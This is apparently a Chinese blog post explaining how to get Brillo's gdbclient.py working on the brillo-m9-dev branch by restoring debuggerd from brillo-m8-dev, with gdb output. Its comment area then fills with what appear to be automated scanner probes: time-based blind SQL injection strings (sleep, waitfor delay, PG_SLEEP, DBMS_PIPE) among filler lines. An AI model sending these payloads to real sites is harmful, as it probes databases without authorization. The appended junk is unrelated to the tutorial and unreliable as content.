在brillo-m9-dev分支下使用gdb debug的时候,可能会出来如下问题:
hzak@B85PRO:/local/brillo-m9-dev$ tools/bdk/debugging/gdbclient.py -p 993
Traceback (most recent call last):
File "tools/bdk/debugging/gdbclient.py", line 270, in <module>
main()
File "tools/bdk/debugging/gdbclient.py", line 230, in main
binary_file, pid, run_cmd = handle_switches(args, sysroot)
File "tools/bdk/debugging/gdbclient.py", line 144, in handle_switches
user=args.user)
File "/local/brillo-m9-dev/tools/bdk/debugging/gdbrunner/__init__.py", line 246, in find_binary
return find_file(device, "/proc/{}/exe".format(pid), sysroot, user)
File "/local/brillo-m9-dev/tools/bdk/debugging/gdbrunner/__init__.py", line 238, in find_file
for path, found_locally in generate_files():
File "/local/brillo-m9-dev/tools/bdk/debugging/gdbrunner/__init__.py", line 234, in generate_files
"device".format(executable_path))
RuntimeError: Failed to copy '/proc/993/exe' to temporary folder on device
这时,可以暂时使用brillo-m8-dev分支上的debuggerd代码,具体做法如下:
$ pushd system/core/debuggerd $ rm -r * $ git checkout aosp/brillo-m8-dev . $ sed -i -e 's/^\(include.*NATIVE_TEST.*\)/#\1/g' Android.mk $ mm && m snod $ popd
之后,就可以用gdb debug了:
$ tools/bdk/debugging/gdbclient.py -p 993
WARNING:root:couldn't find /local/brillo-m9-rpi/development/scripts/gdb/dalvik.gdb - ART debugging options will not be available
GNU gdb (GDB) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Failed to read a valid object file image from memory.
libwebserv::Server::ConnectToServerViaDBus(scoped_refptr<dbus::Bus> const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, base::Callback<void (bool)> const&, base::Callback<void ()> const&, base::Callback<void ()> const&) (bus=...,
service_name=..., cb=..., on_server_online=..., on_server_offline=...) at system/webservd/libwebserv/server.cc:29
NOTE:
使用gdb之前,要先设置system property: debug.debuggerd.wait_for_gdb为true:
$ adb shell setprop debug.debuggerd.wait_for_gdb true
It’s not bad
1
1
1fRzR3wpm
1*1
1*if(now()=sysdate(),sleep(15),0)
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z
1-1; waitfor delay ‘0:0:15’ —
1-1); waitfor delay ‘0:0:15’ —
1-1 waitfor delay ‘0:0:15’ —
1iU9xxcnV’; waitfor delay ‘0:0:15’ —
1-1 OR 656=(SELECT 656 FROM PG_SLEEP(15))–
1-1) OR 835=(SELECT 835 FROM PG_SLEEP(15))–
1-1)) OR 776=(SELECT 776 FROM PG_SLEEP(15))–
1vIxYukn6′ OR 94=(SELECT 94 FROM PG_SLEEP(15))–
1O7Rx0N3w’) OR 340=(SELECT 340 FROM PG_SLEEP(15))–
1AQ4M68ZJ’)) OR 680=(SELECT 680 FROM PG_SLEEP(15))–
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1VEPnG5Vw
1*1
1*43*38*0
-1 OR 2+558-558-1=0+0+0+1
1*if(now()=sysdate(),sleep(15),0)
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
1-1; waitfor delay ‘0:0:15’ —
1-1); waitfor delay ‘0:0:15’ —
1-1 waitfor delay ‘0:0:15’ —
@@CyBgd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1